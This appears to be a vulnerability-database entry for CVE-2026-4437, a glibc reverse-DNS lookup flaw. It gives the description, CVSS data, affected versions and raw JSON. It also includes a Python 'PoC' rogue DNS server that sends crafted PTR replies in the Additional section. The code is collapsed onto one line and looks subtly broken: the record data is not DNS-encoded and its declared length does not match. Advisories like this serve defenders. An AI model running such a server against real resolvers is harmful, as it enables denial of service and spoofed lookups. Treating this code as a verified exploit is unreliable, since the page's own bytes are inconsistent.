Security Vulnerability Report
中文
CVE-2026-4437 CVSS 7.5 HIGH

CVE-2026-4437

Published: 2026-03-20 20:16:49
Last Modified: 2026-04-07 18:41:37
Source: 3ff69d7a-14f2-4f67-a097-88dee7810d18

Description

Calling gethostbyaddr or gethostbyaddr_r with a configured nsswitch.conf that specifies the library's DNS backend in the GNU C Library version 2.34 to version 2.43 could, with a crafted response from the configured DNS server, result in a violation of the DNS specification that causes the application to treat a non-answer section of the DNS response as a valid answer.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:* - VULNERABLE
GNU C Library 2.34
GNU C Library 2.35
GNU C Library 2.36
GNU C Library 2.37
GNU C Library 2.38
GNU C Library 2.39
GNU C Library 2.40
GNU C Library 2.41
GNU C Library 2.42
GNU C Library 2.43

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Malicious DNS server simulation for CVE-2026-4437 # This script listens for DNS queries and sends a crafted response # where the answer is placed in the Additional section to trigger the bug. def run_malicious_dns(): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(('0.0.0.0', 53)) print("[+] Malicious DNS server listening on port 53...") while True: try: data, addr = sock.recvfrom(1024) # Parse Query ID (first 2 bytes) query_id = struct.unpack('!H', data[:2])[0] # Construct a malicious DNS response # Flags: Response, Authoritative, No Error flags = 0x8180 # Questions: 1, Answer RRs: 0 (Trick: 0 answers), Authority RRs: 0, Additional RRs: 1 counts = struct.pack('!HHHH', 1, 0, 0, 1) # Echo back the query (simplified) question = data[12:] # Craft PTR record in the Additional section # Name: compressed pointer to query name (0xC00C) # Type: PTR (12), Class: IN (1), TTL: 3600 # Data Length: 18, Data: evil.example.com additional = b'\xc0\x0c' # Pointer to domain name in question additional += struct.pack('!HHIH', 12, 1, 3600, 18) additional += b'evil.example.com' additional += b'\x00' # End of name response = struct.pack('!HH', query_id, flags) + counts + question + additional sock.sendto(response, addr) print(f"[+] Sent crafted response to {addr}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": run_malicious_dns()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4437", "sourceIdentifier": "3ff69d7a-14f2-4f67-a097-88dee7810d18", "published": "2026-03-20T20:16:49.477", "lastModified": "2026-04-07T18:41:36.647", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Calling gethostbyaddr or gethostbyaddr_r with a configured nsswitch.conf that specifies the library's DNS backend in the GNU C Library version 2.34 to version 2.43 could, with a crafted response from the configured DNS server, result in a violation of the DNS specification that causes the application to treat a non-answer section of the DNS response as a valid answer."}, {"lang": "es", "value": "Llamar a gethostbyaddr o gethostbyaddr_r con un nsswitch.conf configurado que especifica el backend DNS de la biblioteca en la GNU C Library versión 2.34 a la versión 2.43 podría, con una respuesta manipulada del servidor DNS configurado, resultar en una violación de la especificación DNS que hace que la aplicación trate una sección que no es de respuesta de la respuesta DNS como una respuesta válida."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "3ff69d7a-14f2-4f67-a097-88dee7810d18", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.34", "versionEndIncluding": "2.43", "matchCriteriaId": "1ECF98C3-1D14-492E-9FE0-241B03BF8550"}]}]}], "references": [{"url": "https://sourceware.org/bugzilla/show_bug.cgi?id=34014", "source": "3ff69d7a-14f2-4f67-a097-88dee7810d18", "tags": ["Exploit", "Issue Tracking", "Patch"]}]}}